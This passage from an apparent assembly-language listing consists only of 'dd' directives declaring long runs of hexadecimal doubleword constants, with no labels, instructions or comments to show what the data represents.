0B55DBB63h, 0FFDD3229h dd 3754BBC8h, 6035A23Dh, 22FF1D6Ch, 0E706311Dh, 0AEAD38FCh dd 47A90D61h, 0CE3A82E9h, 76BF0DC3h, 86BFBD39h, 9BAC39D1h dd 47ADA1A1h, 8F9E1A7Ch, 9B2E314Ch, 3F1D2D7Fh, 6F4103C4h dd 0FFF70524h, 5B9A0D60h, 47B1F634h, 6E0929A0h, 0BEF91D20h dd 3B2BB9B9h, 62DAF5FCh, 4D50C1FDh, 4C0D132Dh, 0BD953C7Dh dd 69BD0051h, 0BE64DAB0h, 3A00EF67h, 0A3BD08C1h, 0CF24E870h dd 407C3EBCh, 0A4D4F4FBh, 38F73D65h, 0BB368042h, 0B23D1F41h dd 3C9F0D3Fh, 0A73EE894h, 5AFB9D3Ch, 1E0D2D5Fh, 0C71B4059h dd 4ED90886h, 0A4391E55h, 0EAED609h, 6DCD23FBh, 60D2E162h dd 0A706EDB1h, 342B00B1h, 1EB93FF4h, 421A70B9h, 7E94E147h dd 34BEA8F4h, 46291B4Dh, 2B350979h, 3E4E67BBh, 90554E47h dd 0A663DEB9h, 0BA8C2264h, 46FD294Dh, 0A2EF267h, 0F00B35C3h dd 2BB532B6h, 7336E35Eh, 2F6B17Bh, 0B6FAF134h, 0BE0DC951h dd 38EC6BBh, 13A01558h, 201A812Dh, 3BD2B4C9h, 46F06521h dd 66009562h, 316FD135h, 3B7505F4h, 66DD29AEh, 0A0F93DC4h dd 9E3A6BA3h, 11AF3757h, 50392B70h, 624A1FBDh, 6284A94Dh dd 567B8E14h, 4E0C6C08h, 0EA16AF05h, 40AC3544h, 56B8C9C6h dd 525F9E52h, 0CEF92B71h, 0B3FECF0Ch, 6D872920h, 5FE6E22Dh dd 7ED122A1h, 2EED3141h, 0A6F931C1h, 0C2BE2FEFh, 0C6178851h dd 3480D6BCh, 26BD3D59h, 76FB5879h, 9FA22040h, 632D1E02h dd 0BEF05A52h, 351F468Ah, 0B6E56C17h, 79D38EEh, 0C5DDC5B4h dd 6F09BE6Dh, 4B252F6Dh, 0BF4E2D3Ah, 17757759h, 708715DEh dd 0A40CF711h, 0EAEEB5E4h, 375352Dh, 0E188C8CBh, 0E29EE15Dh dd 0E288E969h, 0B85BF4C9h, 0B7B90441h, 0BD8D0449h, 733EEC98h dd 0ECA5359Ah, 5A800C65h, 0B4052EB7h, 2A196C60h, 6315BC46h dd 99CE6E40h, 0E6BBBF40h, 0A03A14A3h, 4232A137h, 9F12CEEEh dd 0D1BCC6Eh, 4C4A2289h, 4E3AAE34h, 0B921F8A3h, 0DECB02Dh dd 931906C6h, 0A208CCA6h, 0B92B1145h, 0A17FFCA3h, 0B323F973h dd 0B1FA1B50h, 2CF0C1C9h, 0E92D9500h, 0C400D645h, 0FD09072Ch dd 301D0666h, 0B78DC26Dh, 7BB0CAA3h, 36D7FE3Eh, 0D46CC4Ah dd 5B2DEFA8h, 7BD6DE3Dh, 0E2DD415h, 0F752D813h, 52D23757h dd 995DF02h, 6200535h, 71111D4h, 609C955Bh, 99DAE749h dd 91DFD568h, 0A2EF7390h, 71CA0199h, 7DEEE53Eh, 0D03C715h dd 0E5CACC57h, 59CC0045h, 0EC7C011h, 0C2F17303h, 60F1A9C5h dd 1127D17Eh, 5F7FD804h, 0BE36D31Ch, 8E11DA0Ah, 7BEA6008h dd 2ECBD217h, 0A116CD13h, 319D958h, 0A392FABBh, 8BFDF679h dd 8D03565h, 0DFDCD01Ch, 96905AB1h, 0D63BCD31h, 16B3857Dh dd 1A90FE64h, 0AEEDC5C7h, 0E7185DA0h, 5D82566Bh, 4B72D310h dd 0CAEF093Fh, 1EBC0BACh, 4F48FFACh, 2712E7CDh, 31183F72h dd 0E0A5B3Bh, 5FF6F64Ch, 6F7BF854h, 56EBF488h, 0E7D2DD86h dd 3BD2D569h, 0A8892A69h, 0ACE3D279h, 6F72568h, 0BCE69EB2h dd 5AFEEABCh, 0AC12A86Dh, 62250D5Dh, 0BC36B1B1h, 0CC4906A1h dd 245A5161h, 0BF713385h, 2C7AE9F5h, 0FA43E0E1h, 6E9DE2A1h dd 7EFB619Fh, 629D28D1h, 0BCAEB0C5h, 1EBAED39h, 1630A13Ch dd 0AFAD941h, 7A20C934h, 23F6F961h, 0BE113365h, 2B1EE959h dd 5E310349h, 329722B9h, 7E922545h, 63592891h, 5D6AB081h dd 0AC7512D9h, 0EEE14CFDh, 0D2321EE5h, 0C2B35EBCh, 3AFE8D43h dd 0ACBAA831h, 62D10D29h, 0BCE2B01Dh, 62EEED09h, 5230E13Ch dd 42FD1141h, 0B2230134h, 23353D61h, 0BE3D30B9h, 0BA20FAA1h dd 8EFE96A9h, 0AD5EA899h, 63710D89h, 0BD7AB0F9h, 0AE86F2E1h dd 0CAFE9D43h, 0AC9EA8DDh, 62B10DC9h, 5ABEB039h, 0AC76A571h dd 23D92811h, 0BEF13305h, 2B02E979h, 5E15036Dh, 0BABA0D5Dh dd 0AA213EB3h, 96BD297Dh, 6D5930D7h, 0AC6112EDh, 0EA3A0389h dd 238A6161h, 44A533C1h, 0ABAAEFF9h, 2A3BBD01h, 0AB3A57Dh dd 6114973h, 0A320C2B4h, 66EEED09h, 5A30E93Ch, 4EFAE541h dd 0BE231534h, 23310561h, 76203DB5h, 637442A1h, 0F9C17Ch dd 39AB2301h, 0E1E3D359h, 0D74696FCh, 6ADDD446h, 0B98ABA89h dd 12D14515h, 519C352h, 0C5A007Dh, 0AB6623D3h, 0AE74765Fh dd 92C87EDCh, 0EFDBF51Ah, 4A2BC938h, 7DADCC5Ah, 89039FD4h dd 0BAD3D1CBh, 0A4EA7E3h, 0DDBC204h, 4DDD0FC5h, 0CBAD403h dd 0A98A9A26h, 0B883B22h, 9E52BD0h, 0AE14F0B3h, 7E1F014Fh dd 4C2E1003h, 3D1D52h, 9906C1BDh, 47DFF331h, 84C0DE51h dd 22E4D74h, 49CB3AB4h, 3E1C92B5h, 8435355Fh, 1EDF4302h dd 0F4BE7BCDh, 0AAA00120h, 0E22335C2h, 79669D3Ah, 1A5655Ah dd 986F32Fh, 105A292Dh, 3E3014Dh, 4185C297h, 8544CF1Ch dd 500F311Ah, 1248047h, 0EC269587h, 0D2DBBE1Ah, 42EA5A11h dd 6147A5DFh, 1ECBB64h, 7E36E302h, 7C84D5B4h, 0D6B8CA21h dd 0BC3D0053h, 31B67165h, 0D14DEB64h, 20A8F2Bh, 590D331Dh dd 37D0BD7Ch, 0FE598DF9h, 48E0E353h, 0DFAA204h, 0A20CBC10h dd 72E745Dh, 6DD9406Dh, 3B44D17Dh, 0BED8D361h, 7D7AC916h dd 0B2B0C818h, 0E46E9ABDh, 5E1A1189h, 8314E1EFh, 7CFCE596h dd 5AD34113h, 0E6A1DB2Eh, 509B3A20h, 0BBF0C69Eh, 3A1513A9h dd 0F532EA3h, 891D35CAh, 4C202921h, 520A291Ah, 0B31397FAh dd 0E020D4CFh, 343D388Bh, 0FB3D0123h, 2E40280Fh, 0A6F1E658h dd 32EE2935h, 1D94C69Bh, 8736CE1Bh, 3B50F33h, 11B51873h dd 843D23EEh, 930B1EC5h, 8E0F9787h, 2B3A8CB0h, 0ED333D5h dd 0FD4EF61h, 0B8B11988h, 0A7F8C72Fh, 0DD55DD68h, 2BEBF79h dd 0FA0D502h, 0DA33D62Dh, 321E4068h, 999D3A40h, 7F22FC17h dd 6F3D203h, 0A2110894h, 0FE671234h, 3C671034h, 4F02BB41h dd 190D1E6Fh, 0D2368C6Ch, 0E2238562h, 3633D4BDh, 8FF1942h dd 0B3D636BCh, 0AF2AED9h, 2E3BCD2Eh, 4C3AA3E1h, 0C494EF5Dh dd 0BE46F4D7h, 910906B9h, 820ED48Ch, 0ADEA9053h, 41293302h dd 0AE2CAA91h, 0C45539h, 0F9C20235h, 0FF907F1Eh, 55DDF1D8h dd 0E3DF658Dh, 4F16C91Dh, 696FDC53h, 0C363EA9Fh, 0DA108078h dd 0E801DC5Fh, 2BC7A748h, 0C698B49h, 5863701Fh, 0D202934h dd 9806D4E8h, 3D3685F7h dd 0B60B9499h, 34A3D680h, 0D9324959h, 5DF0E9A5h, 480CDF45h dd 0BE12136Ah, 631967Ah, 0AB5895E1h, 7356459h, 13D4E358h dd 4B6306B1h, 51122966h, 21354EA7h, 0AD14E15Bh, 4A165CE5h dd 0A53C9D0Ah, 0B1FAB051h, 8C5FC846h, 0FBDF5801h, 8DCE4817h dd 0ED2F32E0h, 0D7DC470h, 12E0EF45h, 578BE1BDh, 14FD2B7Ch dd 0ADD2BA2Ch, 0E9F96559h, 0BF06406Bh, 0E5DBE701h, 6E46F163h dd 9586E1DAh, 74DC1E49h, 66638461h, 0EB2B875h, 4E7E1033h dd 0D640E973h, 0CF2E17Ch, 7E52D6A9h, 3195D291h, 49ECE065h dd 73EDA67Fh, 7F1D481Ah, 3EA3672Ah, 2E93E13h, 7CF9ED79h dd 2333DE04h, 7406EA57h, 0EFF7B952h, 7564A0B4h, 0ADAB96Ch dd 0A6DC127Dh, 62B3AB72h, 405E10C9h, 90D12612h, 0E370317h dd 0A0E91FB9h, 0A1232EBBh, 6B940185h, 3BBE3B0h, 0B9BA22C5h dd 21C7BF02h, 0C3F13D0Dh, 61D6D66Ch, 0C483D2CBh, 6501E877h dd 0A4363225h, 6CFFF270h, 4212423Ah, 0DE3218A0h, 9803F1DDh dd 3639DBB5h, 5EF5F5A2h, 0A905EF60h, 62158115h, 0C6EE4B76h dd 0DE72ADB4h, 84ADC046h, 0F46EE9F2h, 8BF92770h, 6FA2BF0h dd 7EDD85C5h, 3E8D8911h, 14EF9F78h, 2F97FD8Ch, 0BA0C1872h dd 52F25CB1h, 5755C7DAh, 1E69DEEDh, 63C2A66Bh, 9EDFD064h dd 0EE5B0646h, 7E24FB15h, 0FB50A3Dh, 92D30B33h, 87384A75h dd 24D7C7D7h, 0AEA4D863h, 0BB10865Dh, 0FEFF09BFh, 6EF5F4B3h dd 0DE4B00B5h, 66EA236Bh, 0A02B681h, 0AC29BD11h, 62A6EB15h dd 7C151338h, 341ADB3Ch, 1EEC0BF3h, 0AB14E9F3h, 0EB6D1962h dd 977ACEA3h, 391F70h, 3E8EFE74h, 7F218B76h, 37C4FAD3h dd 7BF0C3D5h, 7CC0F0Dh, 5243CC9h, 2DAB3B40h, 1AB4AD79h dd 53754080h, 0A571D02Fh, 0A2A85A9Dh, 0A9AF81B2h, 5E2FC2B2h dd 0EDD61896h, 0C1F49521h, 62D20FE8h, 1A1C3AE4h, 936F17CBh dd 0DEC13E73h, 8CB9AF7Bh, 81E9A0F3h, 6311330h, 63A71D59h dd 6568E920h, 0B9E7C376h, 0E01007Dh, 5533E87Ch, 0A03AC862h dd 35C8DECDh, 73090070h, 0D470D71h, 686CCCA9h, 189C67B3h dd 59E61DB4h, 0D1C8C57Fh, 918AEADFh, 452C7C92h, 6717D141h dd 0B68EF6B7h, 7A05E61h, 84FC2EC0h, 0CE917D7Dh, 0B0D9E942h dd 9F717D0h, 98084ADAh, 8BDC4221h, 0A9E81C0Dh, 21F1937Dh dd 0FA28D18Ch, 0D619085Ch, 682303D1h, 36E46F5Dh, 18E10880h dd 0D8F104h, 500CD91Ch, 7E7B8E31h, 6D3119EEh, 6FB7E035h dd 0E29E5BBh, 639DDB2h, 411DD701h, 7769F6EBh, 609E9A48h dd 0BBFB6557h, 5F89ED35h, 7C053453h, 5C07EF19h, 0C81B58FDh dd 49471633h, 35A24558h, 2E091931h, 3E9CE245h, 0D5965C4Fh dd 87DAA371h, 74995482h, 4224F76Ah, 0E23EF50Bh, 67A0D110h dd 0A704C828h, 8EC9BD7Eh, 0D6F3D98Bh, 0F8C4781Bh, 608C30E1h dd 0B794AB7Eh, 64F2828Dh, 5210D34Dh, 4F9E6F7Fh, 322204D8h dd 0AED58F2Eh, 9D9CBA61h, 71498136h, 0B9A361CAh, 42976B7Fh dd 0AFC2A79h, 4F6809C0h, 0A720EDFBh, 8D79D2B1h, 0D69BF380h dd 41E3C2C9h, 49AFD167h, 87DCE86Ch, 74066919h, 34D4EC64h dd 2DC3EF11h, 6FF10EAAh, 7A33F353h, 0B7138D1Fh, 0A322E31Ah dd 0AE229C4Fh, 0D109F0Fh, 37D7D2BFh, 88F0BD44h, 30347180h dd 0CEF12BA8h, 77F050D5h, 3A00A379h, 0C3171F1h, 0CA5FCE02h dd 0C87AC01Bh, 32738293h, 0E4D68249h, 2D104400h, 37810A88h dd 76003A75h, 4A4CD83h, 2CF00DF5h, 0D10E9A7Ch, 850D0245h dd 21FA9C07h, 4E95CD60h, 7CC7221h, 0BF705326h, 909D9BC0h dd 6CDF4548h, 1A60FDEAh, 63AB2BCBh, 560FA733h, 410E6A7Ah dd 0F22ED2B7h, 964A6FD0h, 9BDEB263h, 0DD2D811h, 3E9BF0A1h dd 0E1FB31D9h, 568FE9B4h, 74AF7CFh, 13DFCAE3h, 20FC0ADAh dd 0B686A956h, 2F831D2h, 0B928196Bh, 95FFC964h, 6368F32Ch dd 52110553h, 0FABC3D21h, 0B19EA573h, 246F641Dh, 13A26E57h dd 0E878D670h, 0BDCAF810h, 0E9F8251Dh, 0E8574D47h, 8CC13BC8h dd 43C5CC59h, 0B3A35DC1h, 6C54C91Ch, 0A633CB4Ah, 0D6B973FDh dd 7102390h, 4EBACE12h, 5BACDE6Dh, 5117DA51h, 5D951EBAh dd 6FAC22Ch, 0DA807FC2h, 96A25073h, 74DDF478h, 92D7F818h dd 3ED4A9CBh, 72AE99F5h, 7BF06304h, 6E7E7B2Eh, 0B600095Ch dd 0B700EEF4h, 0BF73ED35h, 5C3D83C0h, 69F8A041h, 7AC6F77Ch dd 7F50398Bh, 52A061C2h, 1D14833h, 5514127Bh, 98C45C07h dd 0B1731972h, 7E16A369h, 0C36F7E5Ah, 980AFB49h, 8E169557h dd 0AED98510h, 6145C81Ch, 0A5EE6B69h, 3CED7F7Ah, 6CD7AF15h dd 43BFD05Dh, 8F3AB757h, 76D50122h, 0E0703333h, 8C32AC50h dd 0C13EF56Eh, 0D62AD5EFh, 6A23A7BDh, 0A0511D44h, 7BD6CC61h dd 6A8E1D2Ch, 54BA22E0h, 6FDEC118h, 7E30B4DDh, 65B28304h dd 0BC1B3968h, 0B9D2E8F1h, 1077B6AEh, 4130BD12h, 0A140A00h dd 8ED05138h, 6E216A17h, 0EA5AABFBh, 0AB9ED310h, 0F7E65396h dd 0AF7FCCFCh, 6885D157h, 6597F62Fh, 9EF68416h, 75A16516h dd 7907EF0h, 5F311539h, 7F5F7287h, 4303BD71h, 0D375C88Dh dd 0E05BC9C4h, 0C5F081EEh, 569BD655h, 6E6995D1h, 0BC8853F1h dd 4CD7F67Fh, 0CAE917D1h, 0BF75DA1Ah, 462DD451h, 5FD150B5h dd 65290231h, 0ABC03079h, 44AE8887h, 31112D8h, 8ED4CB4Fh dd 0CEE6BCCEh, 2A7762B9h, 0FC06B0D3h, 0AE168872h, 780748DAh dd 0EDCFF33h, 2DE64228h, 64FAC9CBh, 27A8FF0Bh, 8F72C8FEh dd 0AD743E4h, 91FA0D63h, 5BD729D3h, 36194AE8h, 0E4E0253Dh dd 0D6A9CFB5h, 654C0CF6h, 0F40D1191h, 0B970A01Eh, 325CBA6Dh dd 0E5E51D6Bh, 2217BF9Ch, 0BCDCBEAFh, 0F4F2924Bh, 5DF01AB1h dd 0BAC8D4E6h, 8E086CC9h, 44AD7405h, 520AEB50h, 91D54301h dd 0E9E710Ah, 4F72C86Dh, 0D68A0811h, 87CB5AAAh, 0B8C998Ah dd 4150CE20h, 7026DE55h, 0B85B711Ah, 0C1BCDF6Dh, 0B22DA9ACh dd 2CD94569h, 0E9F8FE82h, 0BE573A5h, 0ABD7D359h, 18D6DD50h dd 91761BC3h, 109FD4Bh, 0D1291CAFh, 0C64CF500h, 0A48B5979h dd 0E30E6915h, 6CA27CFh, 9782A221h, 90BD604Fh, 8EABF5F0h dd 2100E392h, 93D4347Eh, 7337148Eh, 6136D74Dh, 62E0291Ch dd 0B45BFD11h, 63BCD549h, 5E345431h, 6A01F2BBh, 8086566Dh dd 0E3DC4CC2h, 29F0F3Fh, 8BDA2BE8h, 0BDF2F83Dh, 0B9D130B9h dd 17171F08h, 7296115Dh, 0D75D1BD1h, 0B72DBC60h, 63E908EDh dd 8687238Dh, 790DA551h, 0EEEC23C3h, 0D89581D4h, 8FF0D5BDh dd 7E24E92Ch, 0C0D60940h, 6FF4FAADh, 59576708h, 0AAFE552Eh dd 0AA29715Bh, 5D0220E5h, 69F5E871h, 22A13607h, 84A2AC0Fh dd 92A5D33Dh, 70E03152h, 4BA05D75h, 0FF3A866Bh, 59EA1416h dd 13618310h, 0C3132765h, 97F8C8A6h, 48DA697Dh, 0B53BF3ABh dd 30A3C9F5h, 2723151Ah, 88659673h, 4316077Ch, 0F4EAD83Ah dd 808EC2B6h, 2368E9DEh, 2D464DFFh, 6362AE40h, 0D5B6A50Dh dd 0BF797A3Eh, 0F8B82284h, 7BB84163h, 5623F283h, 0ED28031Fh dd 7578DD01h, 0B10BBDDEh, 8DEB378h, 16159BFFh, 0BE619070h dd 0C090824Ch, 774289B8h, 0B5AF74Bh, 2EF2EC07h, 0B6BBD143h dd 0DC97CF1Ch, 0FEEAE66Ch, 4350AB59h, 6DAF611Ch, 0A2DC0EF1h dd 83B6069Fh, 7D27D63h, 0A5398ECEh, 3E11E4Ch, 3DC0971h dd 0DF1333CEh, 0BC374EB2h, 6C13BE3Eh, 0C85AE501h, 29FAC6BAh dd 6CE2E681h, 7083BBF0h, 0EDC41B0h, 29C5E515h, 0D7B7BF58h dd 751F835Ah, 0FF3ED075h dd 0AEFE9F9Dh, 86CBEB03h, 0B0E3B653h, 31AD192h, 977665A3h dd 1170B920h, 0D7AECB59h, 7C35DD5Fh, 27C4D710h, 0ECD2430Ah dd 0F3AA8C25h, 2DEC5B64h, 0C501521Ch, 0AC2B1430h, 8E9CE660h dd 716CFF17h, 99CBE86Fh, 0F227290h, 5849D1FBh, 56F5400Fh dd 0BF56F240h, 5BEDAC3Bh, 0F4ACA08h, 0E6FBBD12h, 0AA99F1ABh dd 14DB894Fh, 0D0B11ECFh, 47CDD658h, 8FD2993h, 0A3BBCE8Bh dd 1D91FE79h, 5C64C9E3h, 1318C8E7h, 0F3B10BDh, 0E3300Eh dd 0FBCBD589h, 0D6B51D7Bh, 8470CAFh, 0D0B4E2C1h, 9EDB9C3Ch dd 0E2F71D29h, 1786F24Fh, 0DEE6D61Ah, 8A3E6666h, 48955C1Ah dd 120B80E4h, 8029FCABh, 5CD90BD0h, 0EBDFB199h, 0D21EF680h dd 302A535Fh, 955948DEh, 633A0415h, 2CF2F462h, 2FA2504Eh dd 0EEF88E2Fh, 0AF102EFh, 83CBF20Fh, 13EF1AB7h, 1F0A30CBh dd 25565E57h, 2CA1B12Fh, 12F040DDh, 7E1DDC4h, 52018B3Eh dd 0C73A8F33h, 0BEC91EBCh, 70FFCFFAh, 7B08F70Ch, 34D2F221h dd 526ECF0Fh, 0ACBA9D1h, 0F3D6D24Eh, 0ACB06413h, 64A8E70h dd 1DA1CEBFh, 0DDCE60B1h, 4E2DC780h, 83F08A61h, 321D31Ch dd 1A0B7564h, 285C80F2h, 24D30D4Dh, 0A4EEEB2Bh, 44130E58h dd 0A4C8810Bh, 473AAFC3h, 0AAECC9B7h, 0AE9E75EBh, 64C3CB03h dd 1650E53Ch, 0A25D6571h, 62F5757h, 3A86881Dh, 1D8EACA1h dd 9E305C01h, 0A20187ECh, 3FFB387Fh, 72D10EADh, 0C723C9B5h dd 523B281Dh, 73CCC675h, 0AAD74B12h, 9ED286B9h, 0ABB9ADEDh dd 79CD2227h, 0CA512DC2h, 0B2BB2A88h, 33AD415h, 0B38CD12Ch dd 4AEA401Eh, 0F79F7213h, 13521B1h, 19346652h, 30D2E5A8h dd 360FB931h, 0A6CE24BBh, 8E2ACDFAh, 97794E2Ch, 589DDE8h dd 6CEDCE2Ch, 0A020AB2h, 9A3B89A0h, 0BE0ECD1Ah, 2D62D21Ch dd 432DEB5Dh, 56A37C3Ch, 0B295EC68h, 0EF1F556h, 4136F358h dd 22D2B54h, 1B068B27h, 2714CAA1h, 0AF6A4F8h, 2BBE29DFh dd 5ECF0D68h, 654CB27Ch, 457F4DB5h, 4232E111h, 39ABE8A0h dd 11DE4515h, 14100951h, 2592B1F9h, 0E3EC5D48h, 0C2BABF2h dd 0E41FED15h, 0D1AE827h, 4F5657C0h, 455D31F3h, 679A747Ah dd 6A412DE1h, 4233585h, 8832A79Ch, 5EB8DDB9h, 736A0DCh dd 5A2D25B1h, 9FB8D0B9h, 3E1EDE88h, 28CB6D43h, 65C67DA1h dd 40204480h, 7B2B0933h, 0E2920AF2h, 158F850h, 0F1D9D9A5h dd 58C991BCh, 2A67009h, 454D2951h, 0C22EDC8Eh, 0F2885DD6h dd 0B69C17E8h, 4114665Fh, 59A6D673h, 0A901A228h, 0C78FBF59h dd 0D552CA8Eh, 48310C72h, 0CD82445h, 6A4C2BCh, 57A1F279h dd 2A03FE13h, 5B394845h, 0B303B563h, 0EA8DCE3h, 0E0ADAA2Dh dd 6BE3D985h, 74A72812h, 83BA4A16h, 57A8F87h, 0BB2506F3h dd 3128681Bh, 0CEB3F551h, 40D1D8FCh, 0A0E69A8Fh, 0E31313B3h dd 3D3B1C53h, 768B3178h, 61B6B2B5h, 0CBBEFB34h, 6162B07h dd 0EC3AAD19h, 8C328391h, 0B9A6C41Ch, 0B0D4F430h, 9324DC16h dd 5A2488E5h, 49909FCEh, 747D4F12h, 9F66D57h, 627E59C0h dd 6A9FDB4Eh, 9AADC4ABh, 3FC5819Dh, 29E9218Ch, 15FE87Dh dd 3CD2CC5Eh, 0DF155065h, 5A7508F3h, 0F4A1123Ch, 4344991h dd 420C5B06h, 5A9E0C39h, 3F0D1F0Bh, 63D7C95Eh, 6DEB75F2h dd 43F4E57Bh, 811344Dh, 7E299C5Ch, 2B58AB0Ah, 16B77249h dd 85D335B1h, 0B6C1B562h, 60682Fh, 4621F5CEh, 0AFF3087Dh dd 9406C994h, 12DA5246h, 6346B627h, 8064F355h, 0BC22980Fh dd 0C326B45h, 0E4051DA1h, 7E03D89h, 1963A7A1h, 0A2868172h dd 0AA3F318Bh, 8C5A382Fh, 0BADE5B12h, 9EC028D5h, 5E64281h dd 9F52AEB8h, 76973F59h, 2BD9C1D7h, 492BD119h, 66323294h dd 9E01D701h, 247AAC12h, 0E5B26716h, 5ED0854Ch, 90ED8BA1h dd 0FE8C4141h, 649ACD77h, 0B43ED1B9h, 6A305B10h, 0AACB0FD3h dd 43D2DE19h, 8FB681Bh, 0C91BCD6Bh, 5E1DCE91h, 3DDEF02Ah dd 6886B757h, 0F41468F9h, 713BFEA3h, 53E4B533h, 47DCFB0h dd 0BDB5D3B1h, 2A8115B6h, 70FBF0A3h, 0F0FDF278h, 0A2BFF3ABh dd 9B2EE52Dh, 7099CF18h, 47166587h, 99EBDCA4h, 2D2AFEE9h dd 1D18348Fh, 189BBE38h, 79395319h, 0EF5858Dh, 78FB0993h dd 43DD04D1h, 3E4582ABh, 5DFEE27Dh, 5FBD8636h, 0BB26A477h dd 0B3D40C0Bh, 0C4D522A2h, 0BE1C1D49h, 6A601667h, 75525E7Ah dd 60DBA933h, 1CF3AF1Dh, 82C0C746h, 8E8B0DB9h, 4EBE394Ah dd 0BBF6FB66h, 0A62B295Ch, 52B6A30Dh, 0D2DAB7CFh, 9A7D0773h dd 9EA56Dh, 0BE9F2BD5h, 0EA2AC20Fh, 0EE40958h, 0CE8AD47Dh dd 7FE9E792h, 8495CD77h, 0DEDA8E8Ch, 27FB1DF4h, 0CE40807Bh dd 0D8D48F79h, 9730F6F1h, 0BC1474DDh, 0B21EE0F6h, 0E8FB32B6h dd 0A0FFB5E5h, 39D2252Dh, 8FDB4EB4h, 79C61A11h, 0D2A8DC5Ah dd 425B4D74h, 12D2737Ah, 0BE111CDDh, 0AB6B8C68h, 8CD0709Ch dd 0B270A974h, 6ADF8C25h, 1122E0CAh, 0FFB79CEAh, 0B70B0DB7h dd 92AF0B21h, 7AD0D402h, 7F9806B7h, 27E23ACEh, 2D1AC146h dd 0BBE333C3h, 0D254E9F4h, 64A0C2F0h, 7CD60E07h, 1CEAF17Ch dd 73F831E9h, 941669EDh, 97D33ABCh, 68D4C05Eh, 120BA0A5h dd 23D0C762h, 0A2CF0C38h, 756208A2h, 0B0F7219h, 77F7DE9h dd 56CCD42Ch, 1138BB11h, 0E7BE946h, 65D38E85h, 0AC91BEDCh dd 0FCE4B10h, 0B9766548h, 0EAF74C2Fh, 0B92EE2B1h, 41C486F0h dd 0FF6C911h, 0E4E0C818h, 6B9D668Ch, 680327C5h, 74158C48h dd 3A089A25h, 0EE3E41Dh, 74B4C2DFh, 9170FD20h, 6AADDED9h dd 88CD0294h, 0A0744077h, 9E95908Ch, 42D46620h, 2CE1BE65h dd 3696B350h, 0D69825DDh, 1FC93E87h, 0FACE5371h, 0BE14E518h dd 6FB0EC10h, 3CECF317h, 0A4F00A4Bh, 7D7CEDC1h, 3CDEEA4Dh dd 6902E822h, 14E41C67h, 0ED02E225h, 37F56CFBh, 991BCBF8h dd 0A7A3D6Dh, 4872562h, 3E06B01Ch, 0F8E4CC1Bh, 60DED119h dd 785F014Ch, 832A537Ah, 0C7F2F6F2h, 0E822A887h, 0C7578401h dd 6B91312Bh, 6EFA2C70h, 46D31B45h, 0A4F0344Fh, 0A4C59475h dd 14F3D2DCh, 71EAF6B3h, 0B2A3F038h, 0E32A441h, 0C8733163h dd 0D9D2718Bh, 58D0C008h, 0E4F1D210h, 48932A77h, 8B5A3E71h dd 0DC9BBE91h, 6EE4EDDCh, 0A107802Eh, 4401067Ch, 7364686Ch dd 0B08D9A09h, 7835DB12h, 44985940h, 3CEE714Dh, 1CF0A900h dd 2FEBD560h, 0F249DDEFh, 14105D6Ch, 75CD195Ch, 0ECB6EECEh dd 536CADB3h, 0C8729027h, 0E01049Eh, 24B43F18h, 0BB649CDBh dd 8BE28010h, 0ACF8F879h, 46F2174Ah, 0EDE0E87h, 6327BE81h dd 4971CF17h, 4EAF0567h, 0E80DDD7Ch, 1ED750B1h, 5E61DFC3h dd 5EA0E345h, 0E5FD042Eh, 36CB0C14h, 44C85A61h, 0B9110C25h dd 0C2D00E41h, 8619F52Ah, 47F01017h, 5DC29457h, 0C2384FB1h dd 0E9BB962Eh, 0EE84C74Fh, 8A8DCC6h, 2DA75AA0h, 0CEDEB757h dd 1600C287h, 0F03BE2C3h, 0DECD0077h, 570B5773h, 0CCE1D390h dd 45861963h, 23E9423Bh, 1E681B35h, 77C9231Dh, 0B0F785Ah dd 0ECC2B875h, 6CBA7DC2h, 4A27DCF3h, 1FB8457Ch, 0D5D5C315h dd 969655B3h, 98331D81h, 0E8D3743Ch, 76DF3EB9h, 21A8F19h dd 82D5BCE3h, 0C8AD3F43h, 96F2F35Eh, 0BE551484h, 3E191773h dd 461E0511h, 6AFC91EDh, 34036581h, 0BF13C758h, 16B4169Fh dd 6DF4ED84h, 0B10B7B4Bh, 0D2D0BE29h, 4F9D8604h, 0F406EEB4h dd 0C019300Ah, 384DF376h, 54F2E9BCh, 0ED5A0B11h, 56FCBE9Ah dd 62CBA9ECh, 0A315519h dd 0C30B8301h, 0B99BAD12h, 8CA4EE75h, 66187F61h, 0ACA3D8DFh dd 0E5A2EB09h, 0EC3B8A71h, 53DEC796h, 0CEA336C5h, 2571F15Bh dd 0F64CB374h, 0E4048660h, 9456E3A6h, 326E6A6Ah, 5C60D9D2h dd 9952BBF0h, 2C177DB0h, 0C9E7DD7Eh, 7B7A6996h, 0D0F8662Eh dd 7A148DF7h, 44D1848Fh, 4C7A7CCBh, 31371D74h, 0C470D083h dd 0B1DE8DF0h, 616E0BDBh, 73D10C4Ch, 0A67FCBF0h, 8D63DC14h dd 0FAF9DB1Ch, 43967273h, 59855D45h, 16F44AA8h, 10566BE8h dd 575D0D6Eh, 0F41E7DFCh, 18049AAEh, 0D8BABE75h, 0E2D1685Dh dd 81FAF1E2h, 0CC16C49Ah, 5FE1F5B7h, 3103EDD7h, 0EE0DA486h dd 0FD5F894h, 14DA9D62h, 0BB05E78Bh, 9EF21A56h, 0DC9FD146h dd 0EB102489h, 0EB979D87h, 5D0E7F49h, 2F105713h, 0F878D303h dd 7DCBAB4Eh, 93B51FB2h, 0A60E540Fh, 104B2940h, 7826548Dh dd 0AE2A0D88h, 0A2FC9D1Fh, 9CDB3F7Fh, 0C3EF1D61h, 4F9A87D3h dd 0F4DECF69h, 0ABAD51ACh, 0ADB13561h, 3B2ED15Ah, 7DDDA9B9h dd 431F710Ch, 8C32FA5Ah, 7B16198Dh, 0F6E66D03h, 0BBEFD945h dd 23DAE75Bh, 0B88CF879h, 41B20E17h, 0A60E1611h, 0D6B1AAD9h dd 6E927BDDh, 5F06E26Fh, 582E0B75h, 5BECEDC9h, 0C3533F19h dd 0C70EFCFh, 112119F7h, 0EAE0C39h, 8B1699F8h, 0E5165991h dd 538ED001h, 80303297h, 9139E0F5h, 0BB5FE606h, 0D60D30DCh dd 0A3DBCC7Dh, 0D8C08595h, 0BB2EF462h, 683ED110h, 235FD172h dd 8A3D28D6h, 0E9D10C5Ch, 5632DB7Fh, 8E49C97Ah, 4DDA8CDFh dd 778FD9BCh, 0D22A1C6Fh, 5D36EC55h, 0A3FBCE18h, 44BBFAC4h dd 0AD37D0D1h, 0D6CD0DBAh, 0A84ABB9Ch, 33D41025h, 8EE2EAF7h dd 6DA17F7h, 5583C7BAh, 0D6CE0A12h, 0C797D5C2h, 6E263B14h dd 4DD0F1ACh, 31F38E8h, 71E50D17h, 0F62A59F5h, 0B31DCCCh dd 0F17F38DEh, 